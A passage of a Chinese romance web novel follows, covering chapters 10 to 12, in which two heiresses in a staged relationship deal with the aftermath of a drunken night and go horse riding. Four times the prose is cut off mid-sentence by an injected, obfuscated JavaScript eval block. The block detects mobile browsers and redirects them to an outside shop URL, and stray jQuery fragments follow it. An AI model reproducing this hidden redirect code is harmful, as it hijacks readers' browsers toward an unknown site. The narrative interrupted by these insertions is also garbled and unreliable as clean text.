容曌的身子软成了一滩水,似是退烧后流了一身汗,明珠用温水洗了湿巾和毛巾为容曌仔细擦拭。
碍事的睡裤在床尾凌乱地堆着,睡裤和被单好似都被容曌的双脚用力碾过,都是褶儿。
明珠怕惊醒了容曌,小心翼翼地给容曌穿好,可她还是看到了容曌偶尔
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708789|189222||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的蹙眉和眼睫不安地眨动,每到这时,明珠都会停止动作,直到容曌睡沉后再继续。
忙了一通后,明珠为容曌掖好被子,再用被子把自己裹好,明珠终于闭上眼睛。
可明珠半睡未睡间,眼睛忽的睁开,不可置信容曌又钻进她被窝,又握着她的手缠了上来!
她知道容曌若是清醒的,肯定不会对她干这事,容曌是多么冰清玉洁的人,看不上她这种只知道吃喝玩乐的人,容曌肯定以为自己在梦中,可是容曌在梦里这么没有节制吗!
明珠的半边肩膀被食髓知味的容曌紧紧地攀着,明珠只剩下手腕可动。
夜里本该寂静无声,明珠的双耳却被灌满了容曌忽急忽缓似哭非哭的细碎声响。
偶尔是轻轻抽气的鼻音,偶尔是嘴巴微张的颤音,偶尔是从起伏的胸腔里传来的急促的喘。
醉的,乱的,软的,慌的,纠缠不休的,那声音叫明珠身体阵阵酥麻。
容曌忽然抖动着在明珠怀里翻身,垂额抵着枕头,紧紧地咬住了被子。
明珠侧躺在容曌身后,低头就能闻到容曌发上的玫瑰香气,容曌的头发护理和身体护理显然不比她少,光滑的,软嫩的,叫明珠爱不释手,也被容曌藤蔓似的缠着手臂抽不开手,依稀听到容曌破碎的语无伦次的似哭声音,明珠兴奋地低头咬住了容曌的头发。
·
明珠一早醒来,心虚得多一分钟懒觉都没敢睡,立即蹑手蹑脚地叠好她的被子放在柜子里,这是为了防着被管家阿姨发现她们两人分被子睡。
明珠悄声去浴室洗漱。
这浴室她昨晚洗了三回温毛巾,垃圾桶里装了一小堆的湿巾。
头痛,遇事第一反应就是逃避的明珠快速洗漱完,抽了两张洗脸巾盖上掩饰痕迹,不等容曌醒来,紧忙逃离了案发地点。
早八点,明珠坐在客厅沙发前的地毯上,对着镜子给自己化妆,她这妆已经快画了一个小时了。
忽然听到了从楼上走下来的徐徐脚步声,每一步都像踩在明珠的心跳上。
明珠用力咬牙,然后豁出去了,若无其事地笑着抬头:“容容你醒啦,早上好。”
说着明珠收笑,担心地说:“你昨晚喝多了,早上起来有不舒服吗?”
明珠边问着,心里边咚咚咚地狂敲鼓。
10. 事后
容曌穿的是浅金色的深V领丝绒睡裙睡袍套装,里面吊带睡裙的长度刚过大腿,外面睡袍稍长,但也未及膝,睡袍随意地敞着,脚下踩一双白色拖鞋,两条腿修长笔直,嫩白光滑。
容曌似乎昨晚没睡够,有些犯懒,眼睛没有全睁开,手里提着一杯水,水波随着她散漫的步子轻轻地荡着。
走近沙发,容曌俯身将杯子放到桌上,V领随着她的动作敞得更深了,里面的两半球柔软地晃了一下,明珠忙移开视线。
“嗯,醒了,早上好。”
容曌坐到明珠身侧,随意地翘起腿,轻拢衣服,懒洋洋的模样闭着眼说:“没有不舒服。”
明珠却觉得容曌好像很累很疲惫,似乎是在逞强。
可明珠不敢多问:“没有不舒服就好。”
明珠把茶几上的草莓果盘推近容曌:“容容,这是汤阿姨刚洗好拿过来的,很甜,你尝尝,润润喉。”
容曌微懒地“嗯”了一声,捻起一颗红草莓。
草莓已经熟透,她轻轻咬了一口草莓尖端,草莓汁染红了她指腹,也染红了她唇瓣,她慢慢地尝着。
“甜吗?”明珠观察容曌的神色。
容曌忽然睁眼,看了明珠一眼:“甜。”
明珠被看得心里一抖,装作放心的样子点点头,继续转过去化妆。
容曌吃完这一颗草莓抬眼,正好能从化妆镜里看明珠。
明珠是鹅蛋脸,皮肤极好,底妆清透精致,眼睫本就长,又粘了两簇假睫毛,眼线微挑地延伸出去,挑得明珠的桃花眼愈发内勾外翘明艳迷人。
容曌忽然倾身靠近明珠的肩膀,轻声问:“我好像断片了,明珠,我昨晚有失态吗?”
明珠感到容曌的靠近,身体已经僵直绷紧,接着听到容曌说自己“断片”了,她没注意到容曌的“断片”二字前面还有“好像”,身体瞬间松懈,下意识说了谎:“没有,昨晚你喝醉后犯了困,我怕我扶不稳你,我去找管姨帮忙,管姨和范姨一起扶你上的楼,她们哄你刷了牙,给你盖好被子你就睡过去了。”
容曌慢慢地坐了回去,垂睫看手指,指尖染了草莓的红,用柔纸巾擦着,可总有一块红怎么都擦不掉。
“这样啊,我没失态就好,还担心失态吵到你,让你没睡好。”
“没有没有,你睡得很安静,我睡得也很好。”
“嗯。”
明珠继续化妆,心虚地不敢回头看容曌。
容曌继续擦着手指,偶尔用余光看一眼明珠的背影。
明珠的逃避,已经不是第一次了。
六年前的高考前,她偶遇明珠,聊了两句,她提起要加明珠的微信,明珠借口说高考后再加,而高考后的当晚,明珠就跟着自己家的团去国外旅行了。
两个月前的春节聚会,大年初五,她和明珠、贺禅、姜姜四人吃火锅,她提起要加明珠的微信,明珠又借口说手机没电,至今都没有加她。
明珠讨厌她,她知道。
从初一起,她们两个人的班级相邻,明珠就经常对她视而不见,实在装不了没看到她时,明珠就悄悄瞪她。
过了这么多年,明珠还是会悄悄瞪她,或是故意躲着她。
明珠今早起得这么早,现在又只字不提,无疑很反感昨晚发生的事,唯恐她缠上她。
但是明珠昨晚为什么会对她伸出手?
既然反感,应该从第一步就开始反感,不是吗。
容曌擦着手指,思量着,很久都忘了眨眼。
明珠正在懊恼她刚刚为什么没有说实话。
其实她昨晚看到容曌酒后仿佛变了一个人的样子很兴奋,而且越来越兴奋,她知道她很享受压了容曌一头仿佛征服了容曌的快感和成就感。
所以如果容曌有需求,她动动手就能满足,她一点都不反感,还很期待以后的晚上也可以经常征服容曌。
明珠忽然又想起了她昨晚的疑虑,容曌昨晚是第一次喝醉吗,容曌以前喝醉是怎么解决的?
容曌忽道:“抱歉,我昨晚是第一次喝多,别介意。”
原来是第一次?
明珠这就更荣幸更愿意了。
可她刚刚已经说了谎。
“不介意,也怪我,”明珠回头说,“我不知道你酒量这么浅,下次一定不会再给你倒酒了,如果以后出去应付饭局,我也帮你挡酒。”
明珠的意思是,不想让她再碰酒了。
容曌心里有些艰涩,敛眸放下纸巾:“嗯,那么以后有劳了。”
明珠扬眉笑:“容总客气啦。”
“……”
明珠看回镜子里的自己,明知道两人这样翻篇是最好的,但她心里有一种悬着的、淡淡的、又忽视不了的未竟感,让她心情无法轻松。
真就这么不明不白地算了吗?
如果真算了,她会时不时地想起来,好内耗,还费脑子。
明珠百般纠结,最终还是闭不上嘴,她若能闭上嘴她就不是明珠了,她从小想要什么东西的时候,她都会直接开口。
昨晚她在情绪上特别兴奋,还挺想再经常弄容曌的。
明珠“咳”了一声,装作不经意的样子侧面试探问:“对了,你昨晚是不是做了噩梦?你后来睡得好像有点不安稳。”
明珠问完,心里立即咚咚咚地敲起了鼓。
容曌看了明珠一眼:“梦?你这么说,我好像记得我做了梦。”
明珠呼吸紧促,感兴趣地问:“做了什么梦?还记得吗?”
容曌不动声色:“记不清了,你希望我记得?”
明珠:“你好像说梦话叫了我的名字。”
容曌微怔,叫了吗,她没注意。
明珠是在怀疑什么吗?
容曌:“可能是睡冷了,想让你给我调空调吧。”
明珠:“……”
行吧。
可是。
明珠:“……真的一点都不记得了吗?”
容曌看着草莓,意外听出明珠似乎想让她记得。
容曌掀眸:“记得什么事?”
“……”
确定了,明珠这无语的表情是希望她记得发生的事。
“似乎想起了一点。”容曌忽然说。
明珠身体一紧:“想起什么了?”
她想好了,如果容曌恼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708790|189222||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
羞成怒生气,她就先发制人说是容曌先抱她的,然后根据容曌的反应程度再选择是理直气壮还是含冤委屈,反正她没错,不能让容曌赶她出去。
容曌:“好像很冷很晕。”
明珠不自觉地握紧了笔刷:“是不是很难受?”
容曌:“好像还好。”
还好?
竟然不是难受?
明珠:“……那还想再做那样的梦吗?”
容曌淡淡反问:“你说呢?”
明珠:“……”
容曌好像记得!
她才想起来容曌刚才说的是“好像”断片了!
也是,很多体面人在不知道对方的态度下,不想把事情弄得很难看,自然就是默默地翻篇。
可能容曌也没想到她白明珠不是个体面的人,非要说清楚。
明珠想了想,暂时抛开梦不梦的,直接说得稍微明确一点:“容曌……我觉得我住在你家,做什么都是应该的,但我不知道如果我做了冒犯到你的事情,你会不会生气。”
“当然无关感情哈,”明珠补充,“还有如果你生气,那我就发誓以后处处都小心,绝对不给你让我冒犯到你的机会,毕竟之前的事也不是我一个人的错是吧。”
“……”
明白了。
明珠的意思是不涉及感情的接触,明珠可以。
如果她要找明珠算账,明珠认为她也有错。
容曌沉默。
明珠紧张等待。
容曌余光瞥了一眼明珠的手。
明珠顿时颤了一下。
容曌徐声问回去:“你的意思是,昨晚我喝醉,你没有生气。”
生气这词其实不准确,明珠昨晚肯定没有生气,不然昨晚不会一回又一回,其实后悔这个词更准确。
明珠立刻把整个身体都转了过来:“那有什么生气的,我白白住在你家,怎么照顾你都是应该的是吧。”
说到这里,明珠已经有些兴奋了。
容曌慢条斯理地放下了翘起的腿,略向前倾了身。
她很意外明珠不反感,但她明白,明珠应该只是为了还人情。
不过既然明珠愿意,送上门的好处,她没理由拒绝。
自问,她没有多清高,比如昨晚。
“既然如此,那么我也是,不生气,”容曌倾身将装有草莓的瓷盘推近明珠,“达成共识了,互相能接受就好,对吗?”
“那当然了!”
容曌明确地看了一眼明珠的手:“累吗,能拿草莓吗?”
“不累不累,能拿。”
明珠想做什么是一点也不藏着,迅速拿起一颗草莓转过来趴在容曌膝上。
刚好她坐在地上,容曌坐在沙发上。
明珠趴在容曌光滑细嫩的膝上抬头,笑着把草莓递到容曌嘴边:“我们都大大方方地各取所需,这最好了。”
“另外,”容曌接了草莓,漫不经心地说,“还有一件事。”
“什么?”
“手干净些,不许有别人。”
“……如果有了呢?”
“砍了。”
“……”
11. 第 11 章
早餐时,两人格外安静。
管桐莫名紧张,尤其明珠小姐今天一大早起来画了一个很漂亮的精致妆容,不知道是不是容小姐喝多,明珠小姐不高兴了,今天要一个人出去玩。
管家帮明珠添汤,小心地轻声问:“明珠小姐今天是要出门吗,需要我为明珠小姐预约吗?”
容曌也用余光看明珠。
不知道明珠怎么突然安静了,是聊完后悔了吗。
只是在悄悄兴奋以后都可以压容曌的明珠抬眼笑:“不用,管姨,我就是喜欢化妆而已,漂漂亮亮的心情好,一会儿午睡的时候就卸妆了。”
管家笑了,连夸道:“明珠小姐怎么都漂亮,不化妆有不化妆的美,化妆有化妆的美。”
明珠被夸开心,话也变多了,笑问容曌:“对了容容,周末这两天要陪你回去见长辈吗?”
容曌喝汤的动作微停,略微侧头看管家阿姨,管姨立即明白是让她回避的意思,借口说去厨房看看锅便走开了。
管姨走了后,容曌才看向明珠,徐声问:“明珠,你想知道那天你爸妈都和我说了什么吗?你想知道的话,我随时可以和你说。”
爸妈。
明珠几乎瞬间就酸了鼻子,红了眼眶,迅速低下头躲避容曌目光,故作汤很热的样子吹汤。
“不用,”明珠有了闷声鼻音,“以后的。”
“嗯。”
容曌看了一会儿明珠快把脸埋进汤里屏息又深呼吸的模样,缓声回答明珠刚刚问她的话:“你和我回家的话,他们不会故意提起你爸妈,但可能会无意识地提起我们小时候的事,提起你爸妈带你来我家,或是他们认识了很多年,从小看着你长大这样的话。”
容曌说到这里,明珠已经想起六年级时她爸妈带她去容曌家的事,那些遥远的事,那些不该属于她的回忆。
明珠垂着眼,眼眶轻轻地红了。
“所以下周末吧,等你情绪稳定些,我们再回去。”
容曌这样为她考虑,明珠心底忽然软了软:“好。”
明珠想了想,又觉得这一周正好方便她和容曌对台词,省得聊天的时候露馅了。
明珠问:“那需要我写个相恋相爱的故事大纲吗?”
她知道容曌肯定不会动手写,还是得由她来编细节。
容曌:“随你。”
明珠:“那我就写了啊,写完你得看,得记,要不我白写了。”
“嗯。”
饭后明珠就开始编起了故事。
明珠在美国读的就是影视制作专业导演方向的,虽说她除了在校时导过片子,毕业后就只在环球旅行时给家里拍过旅游宣传片,但她也算是科班出身的白导。
白导构思飞快,很快就在剧本里杜撰出了她和容曌的恋爱故事。
在她们大二暑假的时候,容曌从伦敦飞去纽约旅行,两人在她学校附近偶遇,一起吃了顿便饭,就开始了不为人知的暧昧发展,容曌经常去纽约找她,单程七小时,容曌为爱不辞辛苦追求明珠,只为能见明珠一面。
明珠标注:恋爱纪念日是1月1日,明珠生日,容曌准备烛光晚餐对明珠表白。
毕业前两人因性格不合分手。
明珠标注:分手纪念日是6月1日,容曌生日,分手原因是容曌总挑明珠的毛病,提出分手的人是容曌。
回国后两人藕断丝连,到最近她们两人解除误会,决定共同迈向新生活。
明珠标注:容曌求复合,容曌认错态度很好,明珠大人不记小人过。
明珠以防她们两人分别和容曌家长辈聊天时露馅,还写了不少细节,一写就写了一天,写到日落黄昏,写到夜里睡前,窝在卧室的沙发里越写越兴奋。
容曌倚在浴室门口看明珠,让她想起了学生时代的明珠也曾这样专注兴奋。
明珠数学物理很好,有时沉浸在算题中,下课铃声响了都听不到,她在自班门口看不到明珠的身影,就特意经过明珠的二班门口,不经意地向明珠位置瞥去,总能看到明珠专注兴奋的模样。
明珠会越写越快,脸上也会兴奋地露出笑,而当明珠终于算完这道题,对了答案看到自己算对了后,明珠会高兴地跳起来,扔了笔冲出门,马尾辫都高兴得左右摇晃甩得很高。
不知不觉,容曌的笑意浮上眉梢眼角。
明珠当下写剧本也写得很兴奋,兴奋到容曌走到了她身后,她都没注意。
直到容曌俯身靠过来,轻缓低凉的声音响在她耳边,明珠才陡然惊醒。
“我追的你,我又甩了你,求复合的也是我?”
“……”
明珠忙合上本子。
合了几秒想起这本来就是要给容曌看的,明珠就展开本子给容曌看,理直气壮地说:“我比你小两岁啊,我读大二的时候才十八岁,我什么都不懂,肯定是你追的我啊。”
“……所以你就把我写成甩了你的渣女?”
“……”
明珠多少有一点心虚,可说着说着又挺起了胸:“那要是渣的人是我,你家长辈该不接受我了啊。但如果渣的是你,你家长辈就能对我好一些了,是吧?”
容曌:“……”
竟然有两分歪理。
到了夜里,明珠忽然有些紧张,装作
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708791|189222||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
拢头发的样子稍稍避开容曌身上潮湿的香气,催问道:“你还有什么要加的细节吗?”
容曌注意到明珠的动作,她漫不经心地直起了腰,退后着转身走向床头柜拿起手机,淡道:“随你。”
打开手机,容曌习惯性地点开小号,看某人的朋友圈看是否有发朋友圈。
“对了,容容,”明珠在沙发那边出声,嗓音有点故作无事的忸怩,“我刚刚写本子的时候,想到一个问题。”
容曌回头,白色浴袍随着她的动作张开领口,露出水嫩粉白的胸际。
明珠无意识地舔了一下嘴唇:“你家长辈应该不会起哄让我们亲一个什么的吧?”
她记得纪阿姨好像是个很热情也很喜欢开玩笑的人。
容曌弯腰把手机放到床头柜上:“说不准,我妈可能会,她喜欢开玩笑。”
说着,容曌散漫的语调微扬:“怎么,你有问题?”
明珠:“?”
谁有问题?
明珠立刻来劲了:“我当然没问题,我是怕你有问题。”
容曌向她这边偏了下头,忽然勾唇:“我随意,看你敢不敢了。”
明珠:“??”
挑衅??
明珠这就忍不了了,扔了本子朝容曌走过去,站定在容曌面前,抬手推容曌的肩膀。
容曌很好推的样子,顺势坐在床上,双手朝后撑床,微抬着下巴看明珠。
好似在说你亲过来试试。
明珠立即一条腿跪上床,一手伸向容曌的颈,仿佛要用虎口抵住容曌的颈,低头用力吻容曌的模样。
容曌不躲不闪,从容不迫地迎视明珠。
然而明珠在快要碰到容曌的时候,忽然心跳加速,迟疑了几个呼吸,侧身躺到了床上。
明珠撑着侧额扬眉笑,临时犯怂怕自己对容曌的嘴巴真上头、但一脸她敢只是她不愿意的表情:“美女的初吻呢,才不给你。”
容曌:“……”
容曌缓缓地不动声色地深呼吸。
看来以后只是身体接触,不许接吻。
容曌漫不经心地坐直了,站起来拿明珠的本子看。
其实明珠写的也并非全是虚构,明珠在纽约上学时,她确实经常去纽约,在明珠学校公寓周围闲逛试图偶遇明珠。
只是一次都没有遇到明珠。
明珠的朋友圈有滞后性,总是她坐七小时的飞机回到英国后才看到明珠周末又和朋友们出去玩了。
容曌侧眸看明珠,随意地换了话题:“睡觉吗?”
明珠心里一紧,又一阵期待:“睡,都这么晚了。”
12. 第 12 章
翌日清晨,明珠一脸可惜地醒来,昨晚无事发生,没有压容曌一头,也没有压容曌的身。
可能容曌也有点累,要休息一下,所以不能两个晚上连续来。
明珠看了眼自己的手,她都没觉得累,容曌还是太弱了。
早餐后,容曌在浴室里洗澡,明珠窝在卧室的沙发里看手机。
明珠实在不理解容曌这个人为什么这么喜欢洗澡,比如今早,容曌睡醒后洗了一回澡,吃完早餐后竟然又洗了一回,好似容曌的放松方式就是洗澡似的。
明珠抱着抱枕,继续眯着眼睛盯着微信图标看,已经盯了很久,似要将它盯穿,终于抿着唇点开。
手机开机后的这几天,她一直有意地忽视微信列表里的新消息,留着一排头像右上角红圈里的数字不断增加,她心里的抗拒与压力也在不断增加。
可有些事,总是要面对的。
而且容曌也旁敲侧击地说希望她情绪稳定些。
明珠垂眼扫视消息列表,竭力让自己平常心对待,爸妈和亲戚朋友们都给她发了信息,贺禅也发了,但没有姜姜发来的信息,姜姜应该还在闭关旅行中。
明珠点进贺禅的对话框看,贺禅发来的都是关心她的话,还提到了送她的吃的玩的,问她要不要去她家住。
明珠想了想,还是没有回复贺禅,想等见了贺禅的面再感谢贺禅,不然在微信里输入文字语音都少了情绪,干巴巴的,还可能越感谢越尴尬。
明珠深呼吸,手指放到“掌上明珠”的群消息上。
这是她们一家三口的群,爸妈都会在这群里和她说话,现在右上角已经99+。
明珠手指忽然轻微抖了一下,还是没敢点进去,转而点开通讯录,闲闲地翻看。
忽然一个特别的昵称闯入她视线:三年二班老同学。
头像是白色贝壳里含着一颗明亮的珍珠。
看着像开壳卖珍珠的微商。
这个人好像加了好多年了,她一直不知道是谁,也一直没说过话。
因为逃避爸妈的事,明珠就对这个曾经被她忽视的老同学产生了好奇,顺手点进这人的朋友圈看,一片空白。
明珠抬了抬眉,觉得有些奇怪。
再仔细看,“三年二班老同学”这个昵称居然不是她给对方的备注,而是对方的微信名。
明珠越想越怪异,不会是暗恋她的某个变态吧?
明珠后颈发麻打了个寒战,没再细想,利落地把这人给拉黑了。
拉黑后,明珠点回消息列表准备看“掌上明珠”的群消息,指尖又停了停,按不下去。
这个按键就像是漏了电的电器,按下去就会疼,她怕,她不敢按。
容曌从浴室里出来,抬眼就看到明珠又红了眼眶。
容曌擦着头发漫不经心地说:“出去转转吧,你是想去骑马,还是去滑雪,或是别的项目?”
明珠眼睛一转就明白了,她们两人恋爱连约会照片都没有的话,是很容易引起怀疑,容曌这是想和她出去约会拍两张照片。
明珠来了兴致,坐起来问:“是要出去配合你拍照是吧?你有骑马服和滑雪服吗?”
容曌:“……有几套。”
明珠意外:“你会骑马和滑雪?”
她以为容曌只喜欢静态动作和优美运动,比如容曌从小弹钢琴,跳芭蕾,运动方面是漂亮的蝶泳,静态方面是果决的射击。
容曌:“都是新手,不熟,所以是去骑马还是滑雪?”
明珠高兴又可以压容曌一头了:“先看看衣服,哪个漂亮去玩哪个,衣服在哪?”
容曌:“去找管姨要,我再吹吹头发。”
明珠立刻去找管姨。
容曌习惯性地拿起手机看某人朋友圈,眉头小幅度地拧了一下。
竟然看不到了。
明珠刚刚是在清理不熟的好友吗。
·
明珠选了去骑马,因为滑雪要戴面罩和头盔,拍照录视频拍不到她漂亮的脸。
阿姨把两人的骑马服和头盔靴子放到车上,两人穿常服出门。
明珠穿的是她逛街时新买的和容曌衣帽间里风格不同的一套衣裳,短款的彩色毛衣的开衫,宽肥的口袋很多的粉色工装裤,卷发高高地扎了起来,红唇粉妆,气场飒而明媚,她除了上班OL装,什么风格都喜欢。
可她前两天一下子花出去四万,没舍得买鞋,今天出门只能穿她来容曌家那天穿的阿姨擦得干干净净的白鞋。
白鞋虽然百搭,可整体氛围不够亮眼,脚下配一双黑皮靴,把裤脚掖进靴子里就亮眼了,走路也更有气势了。
“没买鞋?”容曌看到明珠穿好鞋后抿了嘴巴,像谁欺负她了似的。
信用卡的购物通知只能看到明珠在哪消了费,看不到具体买了什么。
明珠立刻抬头卖惨卖乖:“你给我的额度,我要省着点花嘛,没关系,容容姐姐,我穿白鞋就好了。”
容曌:“……”
省着点花,半天就消费四万。
容曌还未穿鞋,转身往客厅里走:“去我鞋柜里找,有很多鞋都是品牌送来没穿过的,也有很多包,去吧。”
明珠惊喜又疑惑,脱了鞋追上好像要让她慢慢找鞋的容曌:“可我没在你衣帽间里看到啊?”
衣帽间里容曌的鞋子大多是白色,包包大多是黑色,特别无聊。
容曌侧头看管家,管家笑:“容小姐不经常穿用的都在负一层,明珠小姐和我过来吧。”
“太好了!”
明珠猛地朝容曌背影扑过去,飞快地抱了一下容曌的腰,就急不可待地向负一层楼梯跑去了。
容曌被明珠扑得往前倾了一步,突然被明珠抱紧,又很快被明珠松开,就像冬日里突然一阵暖风吹到她身上,刹那柔软温暖,可转瞬就散了,散的时候还带走了她一部分体温。
明珠没让容曌等她太久,初来乍到要有分寸,细水长流了再看分寸要不要丢掉,一眼选中一双黑色马丁靴,她和容曌鞋码一样大,穿上刚刚好,就没再挑。
走出别墅,明珠臭美地问容曌:“我这身好看吗?”
彩色闪金线的毛衣,粉色工装裤,黑色马丁靴,二十二岁的大小姐笑得比阳光还灿烂,在容曌眼中,再没有比明珠更好看的人了。
容曌却擦着明珠肩膀往车边走,在明珠耳边落下不咸不淡的一句:“还可以再好看一些。”
明珠脸顿怒,追上去跟在容曌身边骂骂咧咧,絮絮叨叨,叽叽咕咕,容曌眼中笑意一闪而过,留住了这片刻的春光。
·
向茜开车载明珠和容曌去马场,江月市有三处比较大的马场,这次去的不是明珠的金马“月亮”所在的马场,也不是容曌常去的马场。
到了马场两人换好衣服从更衣间里拿着头盔走出来。明珠穿的是标准马术服,及膝黑靴,白色紧身裤,上面马甲套装,卷发高扎,飒爽专业。容曌穿得更休闲,一身稍紧的烟灰色防风衣裤,直发披肩,从容优雅。
跟着过来给两人拍约会照片视频的向茜脖上挂着一个最新款的单反,咔嚓一声给两人定格,镜头里的两人并肩而立,明珠神情自信,容曌内敛端方,各有各的风采。
明珠听到拍照声音,往向姐的相机上投去一眼,心里有酸楚翻滚,她学的是导演,又喜欢拍片,爸妈送了她很多设备,还有很多无人机,她刚学飞无人机的时候总炸机,爸妈就买了好几架给她备着。
容曌瞥见明珠巴巴泛红的目光,鼻子还在轻轻地翕动,像只可怜的流浪猫,她上前问:“去选马?”
明珠回神,轻轻点头:“好。”
然而马厩里的每匹马都没有她的金马漂亮,她的金马是土库曼斯坦国马,身体漂亮得似金色珍珠,这边都是深色的,明珠让工作人员再带她介绍一遍。
选来选去,明珠选了一匹毛发很亮全身健硕看着就很能跑的棕色马,她穿白裤子,要去选一套新的干净马具,容曌留在马厩里继续选马。
刚走出马厩,明珠冤家路窄地碰到了迎面而来的一行三个姐妹花。
为首的是家里做电池的千金万苓,左边的是万苓的常年跟班陈洛涵,右边的那个她不认识,但好像有点眼熟。
那三人逐渐走近,为首的万苓诧异地张开了嘴,明珠有了某种预感,抱臂挑眉,果然下一秒听到万苓故意说:“哎呀,明珠,我听说你爸妈不是你亲爸妈的事了,你还好吧?”
明珠左眼角眯起,眼尾不受控制地跳动。
万苓幸灾乐祸地笑了起来:“明珠,你生活上要是有什么困难,你就来找我,我借你点零花钱还是不成问题的。”
平常伶牙俐齿的明珠发觉自己如今在这两方面毫无招架能力。
“什么不成问题。”
忽然明珠腰侧被人搂住,沁寒的冷冽嗓音响在她身边。
容曌看向明珠,嗓音轻轻地放了柔:“明珠,在聊什么?”
明珠心里登时一喜,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708792|189222||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
转身双手抱住容曌的腰,压低了身子抬头看容曌,嗓音娇气发嗲:“没什么啦,容容,遇到个朋友,你可能不认识她,她是万藤动力万小姐,她正关心我呢,对我说我要是没钱了就向她借,说把她零花钱借我一点不成问题,心可好了呢。”
对面三个姐妹花齐齐变了脸色。
明珠去找容曌的传闻竟是真的。
容曌这是在和明珠约会?
容曌轻拍明珠的肩膀,声音轻缓:“这么热心肠的朋友,很难得,但这话听起来,倒让我意识到我不够关心你了,竟然还要你出去借钱,是我的错,也是容家的错。”
万苓大惊失色:“没有没有,容曌,我不是这个意思……”
明珠装模作样:“哎呀,万小姐不了解嘛,谁都没有错。”
明珠笑着在容曌怀里转了个身,背倚着容曌,对万苓笑说:“谢谢苓苓的好意了,我心领了,不过我有容容呢,就不需要苓苓为我担心了。”
在容曌面前,万苓所有的嚣张气焰都熄了火,僵着唇角低头:“是我多嘴了,明珠,容总,别介意。”
容曌颔首,淡淡地瞥了一眼右边的谷嘉姗,谷嘉姗迅速低了头,往万苓身后躲,没敢出声。
“我陪明珠去选马鞍了,几位失陪。”
容曌有涵养地点头。
万苓连连点头。
明珠紧抱着容曌的手臂往商店走,很小声地说:“谢谢你。”
容曌始终没有抽出手臂:“不客气,以后你在外面代表的是我,不用忍着。”
明珠扬起了唇角,有了容曌的这句话,她就知道以后可以做到什么程度了。
容曌:“她刚刚还说别的了吗?”
她过来的时候只听到了不成问题。
明珠隐瞒前面的话没说:“没别的,就说以为我没钱了,要借我钱。”
容曌若有所思:“你和她有什么过节?”
明珠:“以前她喜欢的一个男生追过我,最近她哥万憬又在追我,我还长得漂亮,又有才华,她心里难受不平衡。”
“……在追你?”
“也不算在追,回国前偶然遇到,就堵我酒店约我出去,我请保镖避开了。”
明珠没在意地说着。
从小到大追她的人没断过,男生、女生、变态都有,她已经在拒绝方面和保护自己方面熟能生巧游刃有余了,可能正是因为从小喜欢她的人太多了,所以她不喜欢喜欢她的人,相反还有点在意不喜欢她的人。
“哦对,”明珠才想起来这件事,抬眼问,“虽然我不会婚内出轨,但如果有人追我的话,我用告诉你吗?”
容曌:“你随意。”
明珠不喜欢被约束限制,不喜欢任何条条框框,她在明珠身后护着就好。
·
短暂的插曲虽然很快结束,明珠再骑马时还是绷了一股劲儿,这股劲儿让她起初只是陪容曌在马上慢慢遛弯,后来和容曌说了句她先跑两圈,容曌让她随意、注意安全,明珠双腿轻夹健硕马肚,一阵风地疾驰而去。
明珠越骑越快,渐渐地消化了万苓的那两句扎她心的话,她在阳光下飞驰,多巴胺迅速分泌,连日来憋在心里因为身世的难过与闷怨也随着越来越快的马蹄声释放发泄了出去,不再沉郁。
连跑三圈,明珠脸上的笑容就只剩下兴奋和享受,快要经过容曌身边时,容曌勒马让路,听到了明珠清脆的“驾”声。
容曌看过去,正对视明珠挑起桃花眼回眸看她的那一眼,唇角扬笑,眸光闪亮,充满得意、挑衅与生命力。
容曌听到了自己身体里快要鼓出心脏的心跳声,她端坐在马背上,春风拂面,发丝轻扬,琥珀色的柔亮眸子里,映着明珠自由漂亮的身影。
向茜这时走到马边,难掩欣赏地说:“明珠小姐骑马的时候很漂亮,英姿飒爽,张扬明媚,充满了生命力。”
容曌的目光里也充满了欣赏,她高坐在马背上颔首:“她从小就这样。”
向茜笑,又问道:“万家那边需要关注吗?”
容曌:“嗯,万藤动力的万憬,关注一下,回国通知我。”
还有秦家人的资料,明珠爸妈在南俣市与秦意宁的见面情况,她都让人关注着。
向茜:“是,容总。”
容曌点头,双手虚握缰绳,慢悠悠地跟上去。
